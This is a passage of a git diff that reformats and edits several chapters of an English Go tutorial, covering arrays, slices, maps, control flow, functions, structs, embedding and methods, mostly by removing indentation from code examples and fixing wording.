keyword `const`, it resets to `0`, so v = 0. + +const ( + e, f, g = iota, iota, iota // e=0,f=0,g=0 values of iota are same in one line. +) ``` ### Some rules @@ -250,38 +250,38 @@ The reason that Go is concise because it has some default behaviors. `array` is an array obviously, we define one as follows. ```Go - var arr [n]type -``` +var arr [n]type +``` in `[n]type`, `n` is the length of the array, `type` is the type of its elements. Like other languages, we use `[]` to get or set element values within arrays. ```Go - var arr [10]int // an array of type [10]int - arr[0] = 42 // array is 0-based - arr[1] = 13 // assign value to element - fmt.Printf("The first element is %d\n", arr[0]) - // get element value, it returns 42 - fmt.Printf("The last element is %d\n", arr[9]) - //it returns default value of 10th element in this array, which is 0 in this case. -``` +var arr [10]int // an array of type [10]int +arr[0] = 42 // array is 0-based +arr[1] = 13 // assign value to element +fmt.Printf("The first element is %d\n", arr[0]) +// get element value, it returns 42 +fmt.Printf("The last element is %d\n", arr[9]) +//it returns default value of 10th element in this array, which is 0 in this case. +``` Because length is a part of the array type, `[3]int` and `[4]int` are different types, so we cannot change the length of arrays. When you use arrays as arguments, functions get their copies instead of references! If you want to use references, you may want to use `slice`. We'll talk about later. It's possible to use `:=` when you define arrays. ```Go - a := [3]int{1, 2, 3} // define an int array with 3 elements +a := [3]int{1, 2, 3} // define an int array with 3 elements - b := [10]int{1, 2, 3} - // define a int array with 10 elements, of which the first three are assigned. - //The rest of them use the default value 0. +b := [10]int{1, 2, 3} +// define a int array with 10 elements, of which the first three are assigned. +//The rest of them use the default value 0. - c := [...]int{4, 5, 6} // use `…` to replace the length parameter and Go will calculate it for you. +c := [...]int{4, 5, 6} // use `…` to replace the length parameter and Go will calculate it for you. ``` You may want to use arrays as arrays' elements. Let's see how to do this. ```Go - // define a two-dimensional array with 2 elements, and each element has 4 elements. - doubleArray := [2][4]int{[4]int{1, 2, 3, 4}, [4]int{5, 6, 7, 8}} +// define a two-dimensional array with 2 elements, and each element has 4 elements. +doubleArray := [2][4]int{[4]int{1, 2, 3, 4}, [4]int{5, 6, 7, 8}} - // The declaration can be written more concisely as follows. - easyArray := [2][4]int{{1, 2, 3, 4}, {5, 6, 7, 8}} -``` +// The declaration can be written more concisely as follows. +easyArray := [2][4]int{{1, 2, 3, 4}, {5, 6, 7, 8}} +``` Array underlying data structure. ![](images/2.2.array.png?raw=true) @@ -294,32 +294,32 @@ In many situations, the array type is not a good choice -for instance when we do `slice` is not really a `dynamic array`. It's a reference type. `slice` points to an underlying `array` whose declaration is similar to `array`, but doesn't need length. ```Go - // just like defining an array, but this time, we exclude the length. - var fslice []int +// just like defining an array, but this time, we exclude the length. +var fslice []int ``` Then we define a `slice`, and initialize its data. ```Go - slice := []byte {'a', 'b', 'c', 'd'} -``` -`slice` can redefine existing slices or arrays. `slice` uses `array[i:j]` to slice, where `i` is +slice := []byte {'a', 'b', 'c', 'd'} +``` +`slice` can redefine existing slices or arrays. `slice` uses `array[i:j]` to slice, where `i` is the start index and `j` is end index, but notice that `array[j]` will not be sliced since the length of the slice is `j-i`. ```Go - // define an array with 10 elements whose types are bytes - var ar = [10]byte {'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j'} +// define an array with 10 elements whose types are bytes +var ar = [10]byte {'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j'} - // define two slices with type []byte - var a, b []byte +// define two slices with type []byte +var a, b []byte - // 'a' points to elements from 3rd to 5th in array ar. - a = ar[2:5] - // now 'a' has elements ar[2],ar[3] and ar[4] +// 'a' points to elements from 3rd to 5th in array ar. +a = ar[2:5] +// now 'a' has elements ar[2],ar[3] and ar[4] - // 'b' is another slice of array ar - b = ar[3:5] - // now 'b' has elements ar[3] and ar[4] -``` -Notice the differences between `slice` and `array` when you define them. We use `[…]` to let Go +// 'b' is another slice of array ar +b = ar[3:5] +// now 'b' has elements ar[3] and ar[4] +``` +Notice the differences between `slice` and `array` when you define them. We use `[…]` to let Go calculate length but use `[]` to define slice only. Their underlying data structure. @@ -336,25 +336,25 @@ slice has some convenient operations. More examples pertaining to `slice` ```Go - // define an array - var array = [10]byte{'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j'} - // define two slices - var aSlice, bSlice []byte - - // some convenient operations - aSlice = array[:3] // equals to aSlice = array[0:3] aSlice has elements a,b,c - aSlice = array[5:] // equals to aSlice = array[5:10] aSlice has elements f,g,h,i,j - aSlice = array[:] // equals to aSlice = array[0:10] aSlice has all elements - - // slice from slice - aSlice = array[3:7] // aSlice has elements d,e,f,g,len=4,cap=7 - bSlice = aSlice[1:3] // bSlice contains aSlice[1], aSlice[2], so it has elements e,f - bSlice = aSlice[:3] // bSlice contains aSlice[0], aSlice[1], aSlice[2], so it has d,e,f - bSlice = aSlice[0:5] // slice could be expanded in range of cap, now bSlice contains d,e,f,g,h - bSlice = aSlice[:] // bSlice has same elements as aSlice does, which are d,e,f,g -``` -`slice` is a reference type, so any changes will affect other variables pointing to the same slice or array. -For instance, in the case of `aSlice` and `bSlice` above, if you change the value of an element in `aSlice`, +// define an array +var array = [10]byte{'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j'} +// define two slices +var aSlice, bSlice []byte + +// some convenient operations +aSlice = array[:3] // equals to aSlice = array[0:3] aSlice has elements a,b,c +aSlice = array[5:] // equals to aSlice = array[5:10] aSlice has elements f,g,h,i,j +aSlice = array[:] // equals to aSlice = array[0:10] aSlice has all elements + +// slice from slice +aSlice = array[3:7] // aSlice has elements d,e,f,g,len=4,cap=7 +bSlice = aSlice[1:3] // bSlice contains aSlice[1], aSlice[2], so it has elements e,f +bSlice = aSlice[:3] // bSlice contains aSlice[0], aSlice[1], aSlice[2], so it has d,e,f +bSlice = aSlice[0:5] // slice could be expanded in range of cap, now bSlice contains d,e,f,g,h +bSlice = aSlice[:] // bSlice has same elements as aSlice does, which are d,e,f,g +``` +`slice` is a reference type, so any changes will affect other variables pointing to the same slice or array. +For instance, in the case of `aSlice` and `bSlice` above, if you change the value of an element in `aSlice`, `bSlice` will be changed as well. `slice` is like a struct by definition and it contains 3 parts. @@ -363,8 +363,8 @@ For instance, in the case of `aSlice` and `bSlice` above, if you change the valu - The length of `slice`. - Capacity, the length from start index to end index of `slice`. ```Go - Array_a := [10]byte{'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j'} - Slice_a := Array_a[2:5] +Array_a := [10]byte{'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j'} +Slice_a := Array_a[2:5] ``` The underlying data structure of the code above as follows. @@ -379,8 +379,8 @@ There are some built-in functions for slice. - `append` appends one or more elements to `slice`, and returns `slice` . - `copy` copies elements from one slice to the other, and returns the number of elements that were copied. -Attention: `append` will change the array that `slice` points to, and affect other slices that point to the same array. -Also, if there is not enough length for the slice (`(cap-len) == 0`), `append` returns a new array for this slice. When +Attention: `append` will change the array that `slice` points to, and affect other slices that point to the same array. +Also, if there is not enough length for the slice (`(cap-len) == 0`), `append` returns a new array for this slice. When this happens, other slices pointing to the old array will not be affected. ### map @@ -388,19 +388,19 @@ this happens, other slices pointing to the old array will not be affected. `map` behaves like a dictionary in Python. Use the form `map[keyType]valueType` to define it. Let's see some code. The 'set' and 'get' values in `map` are similar to `slice`, however the index in `slice` can only be -of type 'int' while `map` can use much more than that: for example `int`, `string`, or whatever you want. Also, they are +of type 'int' while `map` can use much more than that: for example `int`, `string`, or whatever you want. Also, they are all able to use `==` and `!=` to compare values. ```Go - // use string as the key type, int as the value type, and `make` initialize it. - var numbers map[string] int - // another way to define map - numbers := make(map[string]int) - numbers["one"] = 1 // assign value by key - numbers["ten"] = 10 - numbers["three"] = 3 +// use string as the key type, int as the value type, and `make` initialize it. +var numbers map[string] int +// another way to define map +numbers := make(map[string]int) +numbers["one"] = 1 // assign value by key +numbers["ten"] = 10 +numbers["three"] = 3 - fmt.Println("The third number is: ", numbers["three"]) // get values - // It prints: The third number is: 3 +fmt.Println("The third number is: ", numbers["three"]) // get values +// It prints: The third number is: 3 ``` Some notes when you use map. @@ -413,38 +413,38 @@ You can use form `key:val` to initialize map's values, and `map` has built-in me Use `delete` to delete an element in `map`. ```Go - // Initialize a map - rating := map[string]float32 {"C":5, "Go":4.5, "Python":4.5, "C++":2 } - // map has two return values. For the second return value, if the key doesn't - //exist,'ok' returns false. It returns true otherwise. - csharpRating, ok := rating["C#"] - if ok { - fmt.Println("C# is in the map and its rating is ", csharpRating) - } else { - fmt.Println("We have no rating associated with C# in the map") - } +// Initialize a map +rating := map[string]float32 {"C":5, "Go":4.5, "Python":4.5, "C++":2 } +// map has two return values. For the second return value, if the key doesn't +//exist,'ok' returns false. It returns true otherwise. +csharpRating, ok := rating["C#"] +if ok { + fmt.Println("C# is in the map and its rating is ", csharpRating) +} else { + fmt.Println("We have no rating associated with C# in the map") +} - delete(rating, "C") // delete element with key "c" +delete(rating, "C") // delete element with key "c" ``` -As I said above, `map` is a reference type. If two `map`s point to same underlying data, +As I said above, `map` is a reference type. If two `map`s point to same underlying data, any change will affect both of them. ```Go - m := make(map[string]string) - m["Hello"] = "Bonjour" - m1 := m - m1["Hello"] = "Salut" // now the value of m["hello"] is Salut -``` +m := make(map[string]string) +m["Hello"] = "Bonjour" +m1 := m +m1["Hello"] = "Salut" // now the value of m["hello"] is Salut +``` ### make, new -`make` does memory allocation for built-in models, such as `map`, `slice`, and `channel`, while `new` is for types' +`make` does memory allocation for built-in models, such as `map`, `slice`, and `channel`, while `new` is for types' memory allocation. -`new(T)` allocates zero-value to type `T`'s memory, returns its memory address, which is the value of type `*T`. By Go's +`new(T)` allocates zero-value to type `T`'s memory, returns its memory address, which is the value of type `*T`. By Go's definition, it returns a pointer which points to type `T`'s zero-value. `new` returns pointers. -The built-in function `make(T, args)` has different purposes than `new(T)`. `make` can be used for `slice`, `map`, +The built-in function `make(T, args)` has different purposes than `new(T)`. `make` can be used for `slice`, `map`, and `channel`, and returns a type `T` with an initial value. The reason for doing this is because the underlying data of these three types must be initialized before they point to them. For example, a `slice` contains a pointer that points to the underlying `array`, length and capacity. Before these data are initialized, `slice` is `nil`, so for `slice`, `map` @@ -460,18 +460,18 @@ Figure 2.5 Underlying memory allocation of make and new Zero-value does not mean empty value. It's the value that variables default to in most cases. Here is a list of some zero-values. ```Go - int 0 - int8 0 - int32 0 - int64 0 - uint 0x0 - rune 0 // the actual type of rune is int32 - byte 0x0 // the actual type of byte is uint8 - float32 0 // length is 4 byte - float64 0 //length is 8 byte - bool false - string "" -``` +int 0 +int8 0 +int32 0 +int64 0 +uint 0x0 +rune 0 // the actual type of rune is int32 +byte 0x0 // the actual type of byte is uint8 +float32 0 // length is 4 byte +float64 0 //length is 8 byte +bool false +string "" +``` ## Links - [Directory](preface.md) diff --git a/en/02.3.md b/en/02.3.md index cd31d6d78..d5ae48930 100644 --- a/en/02.3.md +++ b/en/02.3.md @@ -12,181 +12,190 @@ The greatest invention in programming is flow control. Because of them, you are `if` doesn't need parentheses in Go. ```Go - if x > 10 { - fmt.Println("x is greater than 10") - } else { - fmt.Println("x is less than or equal to 10") - } -``` +if x > 10 { + fmt.Println("x is greater than 10") +} else { + fmt.Println("x is less than or equal to 10") +} +``` The most useful thing concerning `if` in Go is that it can have one initialization statement before the conditional statement. The scope of the variables defined in this initialization statement are only available inside the block of the defining `if`. ```Go - // initialize x, then check if x greater than - if x := computedValue(); x > 10 { - fmt.Println("x is greater than 10") - } else { - fmt.Println("x is less than 10") - } +// initialize x, then check if x greater than +if x := computedValue(); x > 10 { + fmt.Println("x is greater than 10") +} else { + fmt.Println("x is less than 10") +} - // the following code will not compile - fmt.Println(x) -``` +// the following code will not compile +fmt.Println(x) +``` Use if-else for multiple conditions. ```Go - if integer == 3 { - fmt.Println("The integer is equal to 3") - } else if integer < 3 { - fmt.Println("The integer is less than 3") - } else { - fmt.Println("The integer is greater than 3") - } -``` +if integer == 3 { + fmt.Println("The integer is equal to 3") +} else if integer < 3 { + fmt.Println("The integer is less than 3") +} else { + fmt.Println("The integer is greater than 3") +} +``` ### goto Go has a `goto` keyword, but be careful when you use it. `goto` reroutes the control flow to a previously defined `label` within the body of same code block. ```Go - func myFunc() { - i := 0 - Here: // label ends with ":" - fmt.Println(i) - i++ - goto Here // jump to label "Here" - } -``` +func myFunc() { + i := 0 +Here: // label ends with ":" + fmt.Println(i) + i++ + goto Here // jump to label "Here" +} +``` The label name is case sensitive. ### for `for` is the most powerful control logic in Go. It can read data in loops and iterative operations, just like `while`. ```Go - for expression1; expression2; expression3 { - //... - } -``` +for expression1; expression2; expression3 { + //... +} +``` `expression1`, `expression2` and `expression3` are all expressions, where `expression1` and `expression3` are variable definitions or return values from functions, and `expression2` is a conditional statement. `expression1` will be executed once before looping, and `expression3` will be executed after each loop. Examples are more useful than words. ```Go - package main - import "fmt" +package main - func main(){ - sum := 0; - for index:=0; index < 10 ; index++ { - sum += index - } - fmt.Println("sum is equal to ", sum) - } - // Print:sum is equal to 45 +import "fmt" + +func main(){ + sum := 0; + for index:=0; index < 10 ; index++ { + sum += index + } + fmt.Println("sum is equal to ", sum) +} +// Print:sum is equal to 45 ``` Sometimes we need multiple assignments, but Go doesn't have the `,` operator, so we use parallel assignment like `i, j = i + 1, j - 1`. We can omit `expression1` and `expression3` if they are not necessary. ```Go - sum := 1 - for ; sum < 1000; { - sum += sum - } -``` +sum := 1 +for ; sum < 1000; { + sum += sum +} +``` Omit `;` as well. Feel familiar? Yes, it's identical to `while`. ```Go - sum := 1 - for sum < 1000 { - sum += sum - } -``` +sum := 1 +for sum < 1000 { + sum += sum +} +``` There are two important operations in loops which are `break` and `continue`. `break` jumps out of the loop, and `continue` skips the current loop and starts the next one. If you have nested loops, use `break` along with labels. ```Go - for index := 10; index>0; index-- { - if index == 5{ - break // or continue - } - fmt.Println(index) - } - // break prints 10、9、8、7、6 - // continue prints 10、9、8、7、6、4、3、2、1 -``` +for index := 10; index>0; index-- { + if index == 5{ + break // or continue + } + fmt.Println(index) +} +// break prints 10、9、8、7、6 +// continue prints 10、9、8、7、6、4、3、2、1 +``` `for` can read data from `array`, `slice`, `map` and `string` when it is used together with `range`. ```Go - for k,v:=range map { - fmt.Println("map's key:",k) - fmt.Println("map's val:",v) - } -``` -Because Go supports multi-value returns and gives compile errors when you don't use values that were defined, you may want to use `_` to discard certain return values. +for k,v := range map { + fmt.Println("map's key:",k) + fmt.Println("map's val:",v) +} +``` +Because Go supports multi-value returns and gives compile errors when you don't use values that were defined, you may want to use `_` to discard certain return values. +```Go +for _, v := range map{ + fmt.Println("map's val:", v) +} +``` - for _, v := range map{ - fmt.Println("map's val:", v) - } - +With go you can as well create an infinite loop, which is equivalent to `while true { ... }` in other languges. + +```GO +for { + // your logic +} +``` ### switch Sometimes you may find that you are using too many `if-else` statements to implement some logic, which may make it difficult to read and maintain in the future. This is the perfect time to use the `switch` statement to solve this problem. ```Go - switch sExpr { - case expr1: - some instructions - case expr2: - some other instructions - case expr3: - some other instructions - default: - other code - } -``` +switch sExpr { +case expr1: + some instructions +case expr2: + some other instructions +case expr3: + some other instructions +default: + other code +} +``` The type of `sExpr`, `expr1`, `expr2`, and `expr3` must be the same. `switch` is very flexible. Conditions don't have to be constants and it executes from top to bottom until it matches conditions. If there is no statement after the keyword `switch`, then it matches `true`. ```Go - i := 10 - switch i { - case 1: - fmt.Println("i is equal to 1") - case 2, 3, 4: - fmt.Println("i is equal to 2, 3 or 4") - case 10: - fmt.Println("i is equal to 10") - default: - fmt.Println("All I know is that i is an integer") - } -``` +i := 10 +switch i { +case 1: + fmt.Println("i is equal to 1") +case 2, 3, 4: + fmt.Println("i is equal to 2, 3 or 4") +case 10: + fmt.Println("i is equal to 10") +default: + fmt.Println("All I know is that i is an integer") +} +``` In the fifth line, we put many values in one `case`, and we don't need to add the `break` keyword at the end of `case`'s body. It will jump out of the switch body once it matched any case. If you want to continue to matching more cases, you need to use the`fallthrough` statement. ```Go - integer := 6 - switch integer { - case 4: - fmt.Println("integer <= 4") - fallthrough - case 5: - fmt.Println("integer <= 5") - fallthrough - case 6: - fmt.Println("integer <= 6") - fallthrough - case 7: - fmt.Println("integer <= 7") - fallthrough - case 8: - fmt.Println("integer <= 8") - fallthrough - default: - fmt.Println("default case") - } -``` +integer := 6 +switch integer { +case 4: + fmt.Println("integer <= 4") + fallthrough +case 5: + fmt.Println("integer <= 5") + fallthrough +case 6: + fmt.Println("integer <= 6") + fallthrough +case 7: + fmt.Println("integer <= 7") + fallthrough +case 8: + fmt.Println("integer <= 8") + fallthrough +default: + fmt.Println("default case") +} +``` This program prints the following information. ```Go - integer <= 6 - integer <= 7 - integer <= 8 - default case +integer <= 6 +integer <= 7 +integer <= 8 +default case ``` ## Functions Use the `func` keyword to define a function. ```Go - func funcName(input1 type1, input2 type2) (output1 type1, output2 type2) { - // function body - // multi-value return - return value1, value2 - } -``` +func funcName(input1 type1, input2 type2) (output1 type1, output2 type2) { + // function body + // multi-value return + return output1, output2 +} +``` We can extrapolate the following information from the example above. - Use keyword `func` to define a function `funcName`. @@ -195,7 +204,7 @@ We can extrapolate the following information from the example above. - There are two return values named `output1` and `output2`, you can omit their names and use their type only. - If there is only one return value and you omitted the name, you don't need brackets for the return values. - If the function doesn't have return values, you can omit the return parameters altogether. -- If the function has return values, you have to use the `return` statement somewhere in the body of the function. +- If the function has return values, you have to use the `return` statement somewhere in the body of the function. Let's see one practical example. (calculate maximum value) ```Go @@ -223,8 +232,8 @@ func main() { fmt.Printf("max(%d, %d) = %d\n", x, z, max_xz) fmt.Printf("max(%d, %d) = %d\n", y, z, max(y, z)) // call function here } - ``` + In the above example, there are two arguments in the function `max`, their types are both `int` so the first type can be omitted. For instance, `a, b int` instead of `a int, b int`. The same rules apply for additional arguments. Notice here that `max` only has one return value, so we only need to write the type of its return value -this is the short form of writing it. ### Multi-value return @@ -251,27 +260,27 @@ func main() { fmt.Printf("%d + %d = %d\n", x, y, xPLUSy) fmt.Printf("%d * %d = %d\n", x, y, xTIMESy) } -``` +``` The above example returns two values without names -you have the option of naming them also. If we named the return values, we would just need to use `return` to return the values since they are initialized in the function automatically. Notice that if your functions are going to be used outside of the package, which means your function names start with a capital letter, you'd better write complete statements for `return`; it makes your code more readable. ```Go - func SumAndProduct(A, B int) (add int, multiplied int) { - add = A+B - multiplied = A*B - return - } +func SumAndProduct(A, B int) (add int, multiplied int) { + add = A+B + multiplied = A*B + return +} ``` ### Variadic functions -Go supports functions with a variable number of arguments. These functions are called "variadic", which means the function allows an uncertain numbers of arguments. +Go supports functions with a variable number of arguments. These functions are called "variadic", which means the function allows an uncertain numbers of arguments. ```Go - func myfunc(arg ...int) {} +func myfunc(arg ...int) {} ``` `arg …int` tells Go that this is a function that has variable arguments. Notice that these arguments are type `int`. In the body of function, the `arg` becomes a `slice` of `int`. ```Go - for _, n := range arg { - fmt.Printf("And the number is: %d\n", n) - } -``` +for _, n := range arg { + fmt.Printf("And the number is: %d\n", n) +} +``` ### Pass by value and pointers When we pass an argument to the function that was called, that function actually gets the copy of our variables so any change will not affect to the original variable. @@ -298,7 +307,7 @@ func main() { fmt.Println("x+1 = ", x1) // should print "x+1 = 4" fmt.Println("x = ", x) // should print "x = 3" } -``` +``` Can you see that? Even though we called `add1` with `x`, the origin value of `x` doesn't change. The reason is very simple: when we called `add1`, we gave a copy of `x` to it, not the `x` itself. @@ -355,7 +364,7 @@ func ReadWrite() bool { file.Close() return true } -``` +``` We saw some code being repeated several times. `defer` solves this problem very well. It doesn't only help you to write clean code but also makes your code more readable. ```Go func ReadWrite() bool { @@ -369,19 +378,19 @@ func ReadWrite() bool { } return true } -``` +``` If there are more than one `defer`s, they will execute by reverse order. The following example will print `4 3 2 1 0`. ```Go - for i := 0; i < 5; i++ { - defer fmt.Printf("%d ", i) - } -``` +for i := 0; i < 5; i++ { + defer fmt.Printf("%d ", i) +} +``` ### Functions as values and types Functions are also variables in Go, we can use `type` to define them. Functions that have the same signature can be seen as the same type. ```Go - type typeName func(input1 inputType1 , input2 inputType2 [, ...]) (result1 resultType1 [, ...]) -``` +type typeName func(input1 inputType1 , input2 inputType2 [, ...]) (result1 resultType1 [, ...]) +``` What's the advantage of this feature? The answer is that it allows us to pass functions as values. ```Go package main @@ -391,21 +400,14 @@ import "fmt" type testInt func(int) bool // define a function type of variable func isOdd(integer int) bool { - if integer%2 == 0 { - return false - } - return true + return integer%2 != 0 } func isEven(integer int) bool { - if integer%2 == 0 { - return true - } - return false + return integer%2 == 0 } // pass the function `f` as an argument to another function - func filter(slice []int, f testInt) []int { var result []int for _, value := range slice { @@ -416,16 +418,18 @@ func filter(slice []int, f testInt) []int { return result } +var slice = []int{1, 2, 3, 4, 5, 7} + func main() { - slice := []int{1, 2, 3, 4, 5, 7} - fmt.Println("slice = ", slice) - odd := filter(slice, isOdd) // use function as values + odd := filter(slice, isOdd) + even := filter(slice, isEven) + + fmt.Println("slice = ", slice) fmt.Println("Odd elements of slice are: ", odd) - even := filter(slice, isEven) fmt.Println("Even elements of slice are: ", even) } +``` -``` It's very useful when we use interfaces. As you can see `testInt` is a variable that has a function as type and the returned values and arguments of `filter` are the same as those of `testInt`. Therefore, we can have complex logic in our programs, while maintaining flexibility in our code. ### Panic and Recover @@ -438,26 +442,26 @@ Go doesn't have `try-catch` structure like Java does. Instead of throwing except The following example shows how to use `panic`. ```Go - var user = os.Getenv("USER") +var user = os.Getenv("USER") - func init() { - if user == "" { - panic("no value for $USER") - } - } -``` +func init() { + if user == "" { + panic("no value for $USER") + } +} +``` The following example shows how to check `panic`. ```Go - func throwsPanic(f func()) (b bool) { - defer func() { - if x := recover(); x != nil { - b = true - } - }() - f() // if f causes panic, it will recover - return - } -``` +func throwsPanic(f func()) (b bool) { + defer func() { + if x := recover(); x != nil { + b = true + } + }() + f() // if f causes panic, it will recover + return +} +``` ### `main` function and `init` function Go has two retentions which are called `main` and `init`, where `init` can be used in all packages and `main` can only be used in the `main` package. These two functions are not able to have arguments or return values. Even though we can write many `init` functions in one package, I strongly recommend writing only one `init` function for each package. @@ -474,49 +478,50 @@ Figure 2.6 Flow of programs initialization in Go We use `import` very often in Go programs as follows. ```Go - import( - "fmt" - ) -``` +import( + "fmt" +) +``` Then we use functions in that package as follows. ```Go - fmt.Println("hello world") -``` +fmt.Println("hello world") +``` `fmt` is from Go standard library, it is located within $GOROOT/pkg. Go supports third-party packages in two ways. 1. Relative path import "./model" // load package in the same directory, I don't recommend this way. 2. Absolute path import "shorturl/model" // load package in path "$GOPATH/pkg/shorturl/model" - + There are some special operators when we import packages, and beginners are always confused by these operators. 1. Dot operator. Sometime we see people use following way to import packages. ```Go - import( - . "fmt" - ) -``` - The dot operator means you can omit the package name when you call functions inside of that package. Now `fmt.Printf("Hello world")` becomes to `Printf("Hello world")`. +import( + . "fmt" +) +``` + +The dot operator means you can omit the package name when you call functions inside of that package. Now `fmt.Printf("Hello world")` becomes to `Printf("Hello world")`. 2. Alias operation. It changes the name of the package that we imported when we call functions that belong to that package. -```Go - import( - f "fmt" - ) +```Go +import( + f "fmt" +) ``` - Now `fmt.Printf("Hello world")` becomes to `f.Printf("Hello world")`. +Now `fmt.Printf("Hello world")` becomes to `f.Printf("Hello world")`. 3. `_` operator. This is the operator that is difficult to understand without someone explaining it to you. -```Go - import ( - "database/sql" - _ "github.com/ziutek/mymysql/godrv" - ) -``` - The `_` operator actually means we just want to import that package and execute its `init` function, and we are not sure if we want to use the functions belonging to that package. - +```Go +import ( + "database/sql" + _ "github.com/ziutek/mymysql/godrv" +) +``` +The `_` operator actually means we just want to import that package and execute its `init` function, and we are not sure if we want to use the functions belonging to that package. + ## Links - [Directory](preface.md) diff --git a/en/02.4.md b/en/02.4.md index c9a02374c..6d0b92ea9 100644 --- a/en/02.4.md +++ b/en/02.4.md @@ -8,7 +8,7 @@ type person struct { name string age int } -``` +``` Look how easy it is to define a `struct`! There are two fields. @@ -29,21 +29,22 @@ P.name = "Astaxie" // assign "Astaxie" to the field 'name' of p P.age = 25 // assign 25 to field 'age' of p fmt.Printf("The person's name is %s\n", P.name) // access field 'name' of p ``` -There are three more ways to define a struct. +There are three more ways to initialize a struct. - Assign initial values by order ```Go - P := person{"Tom", 25} -``` +P := person{"Tom", 25} +``` - Use the format `field:value` to initialize the struct without order ```Go - P := person{age:24, name:"Bob"} +P := person{age:24, name:"Bob"} ``` - Define an anonymous struct, then initialize it ```Go - P := struct{name string; age int}{"Amy",18} +P := struct{name string; age int}{"Amy",18} ``` Let's see a complete example. + ```Go package main @@ -55,8 +56,8 @@ type person struct { age int } -// compare the age of two people, then return the older person and differences of age // struct is passed by value +// compare the age of two people, then return the older person and differences of age func Older(p1, p2 person) (person, int) { if p1.age > p2.age { return p1, p1.age - p2.age @@ -67,13 +68,8 @@ func Older(p1, p2 person) (person, int) { func main() { var tom person - // initialization tom.name, tom.age = "Tom", 18 - - // initialize two values by format "field:value" bob := person{age: 25, name: "Bob"} - - // initialize two values with order paul := person{"Paul", 43} tb_Older, tb_diff := Older(tom, bob) @@ -81,13 +77,10 @@ func main() { bp_Older, bp_diff := Older(bob, paul) fmt.Printf("Of %s and %s, %s is older by %d years\n", tom.name, bob.name, tb_Older.name, tb_diff) - fmt.Printf("Of %s and %s, %s is older by %d years\n", tom.name, paul.name, tp_Older.name, tp_diff) - fmt.Printf("Of %s and %s, %s is older by %d years\n", bob.name, paul.name, bp_Older.name, bp_diff) } - -``` +``` ### embedded fields in struct I've just introduced to you how to define a struct with field names and type. In fact, Go supports fields without names, but with types. We call these embedded fields. @@ -112,7 +105,7 @@ type Student struct { } func main() { - // initialize a student + // instantiate and initialize a student mark := Student{Human{"Mark", 25, 120}, "Computer Science"} // access fields @@ -120,30 +113,29 @@ func main() { fmt.Println("His age is ", mark.age) fmt.Println("His weight is ", mark.weight) fmt.Println("His specialty is ", mark.specialty) - // modify notes + + // modify mark's specialty mark.specialty = "AI" fmt.Println("Mark changed his specialty") fmt.Println("His specialty is ", mark.specialty) - // modify age - fmt.Println("Mark become old") + + fmt.Println("Mark become old. He is not an athlete anymore") mark.age = 46 - fmt.Println("His age is", mark.age) - // modify weight - fmt.Println("Mark is not an athlet anymore") mark.weight += 60 + fmt.Println("His age is", mark.age) fmt.Println("His weight is", mark.weight) } -``` +``` ![](images/2.4.student_struct.png?raw=true) Figure 2.7 Embedding in Student and Human We see that we can access the `age` and `name` fields in Student just like we can in Human. This is how embedded fields work. It's very cool, isn't it? Hold on, there's something cooler! You can even use Student to access Human in this embedded field! ```Go - mark.Human = Human{"Marcus", 55, 220} - mark.Human.age -= 1 -``` +mark.Human = Human{"Marcus", 55, 220} +mark.Human.age -= 1 +``` All the types in Go can be used as embedded fields. ```Go package main @@ -184,12 +176,12 @@ func main() { fmt.Println("Her preferred number is ", jane.int) } -``` +``` In the above example, we can see that all types can be embedded fields and we can use functions to operate on them. There is one more problem however. If Human has a field called `phone` and Student has a field with same name, what should we do? -Go use a very simple way to solve it. The outer fields get upper access levels, which means when you access `student.phone`, we will get the field called phone in student, not the one in the Human struct. This feature can be simply seen as field `overload`ing. +Go use a very simple way to solve it. The outer fields get upper access levels, which means when you access `student.phone`, we will get the field called phone in student, not the one in the Human struct. This feature can be simply seen as field `overloading`. ```Go package main @@ -202,19 +194,19 @@ type Human struct { } type Employee struct { - Human // embedded field Human + Human specialty string phone string // phone in employee } func main() { Bob := Employee{Human{"Bob", 34, "777-444-XXXX"}, "Designer", "333-222"} + fmt.Println("Bob's work phone is:", Bob.phone) - // access phone field in Human fmt.Println("Bob's personal phone is:", Bob.Human.phone) } -``` +``` ## Links - [Directory](preface.md) diff --git a/en/02.5.md b/en/02.5.md index 32b929279..d0d45853b 100644 --- a/en/02.5.md +++ b/en/02.5.md @@ -1,6 +1,6 @@ # Object-oriented -We talked about functions and structs in the last two sections, but did you ever consider using functions as fields of a struct? In this section, I will introduce you to another form of function that has a receiver, which is called `method`. +We talked about functions and structs in the last two sections, but did you ever consider using functions as fields of a struct? In this section, I will introduce you to another form of function that has a receiver, which is called a `method`. ## method @@ -25,7 +25,7 @@ func main() { fmt.Println("Area of r2 is: ", area(r2)) } -``` +``` The above example can calculate a rectangle's area. We use the function called `area`, but it's not a method of the rectangle struct (like class methods in classic object-oriented languages). The function and struct are two independent things as you may notice. It's not a problem so far. However, if you also have to calculate the area of a circle, square, pentagon, or any other kind of shape, you are going to need to add additional functions with very similar names. @@ -36,18 +36,18 @@ Figure 2.8 Relationship between function and struct Obviously that's not cool. Also, the area should really be the property of a circle or rectangle. -For those reasons, we have the `method` concept. `method` is affiliated with type. It has the same syntax as functions do except for an additional parameter after the `func` keyword called the `receiver`, which is the main body of that method. +This is where a `method` comes to play. The `method` is a function affiliated with a type. It has similar syntax as function except, after the `func` keyword has a parameter called the `receiver`, which is the main body of that method. -Using the same example, `Rectangle.area()` belongs directly to rectangle, instead of as a peripheral function. More specifically, `length`, `width` and `area()` all belong to rectangle. +Using the same example, `Rectangle.Area()` belongs directly to rectangle, instead of as a peripheral function. More specifically, `length`, `width` and `Area()` all belong to rectangle. As Rob Pike said. "A method is a function with an implicit first argument, called a receiver." - + Syntax of method. ```Go func (r ReceiverType) funcName(parameters) (results) -``` +``` Let's change our example using `method` instead. ```Go package main @@ -57,46 +57,48 @@ import ( "math" ) -type Rectangle struct { - width, height float64 -} - type Circle struct { radius float64 } -func (r Rectangle) area() float64 { - return r.width * r.height +type Rectangle struct { + width, height float64 } -func (c Circle) area() float64 { +// method +func (c Circle) Area() float64 { return c.radius * c.radius * math.Pi } +// method +func (r Rectangle) Area() float64 { + return r.width * r.height +} + func main() { - r1 := Rectangle{12, 2} - r2 := Rectangle{9, 4} c1 := Circle{10} c2 := Circle{25} + r1 := 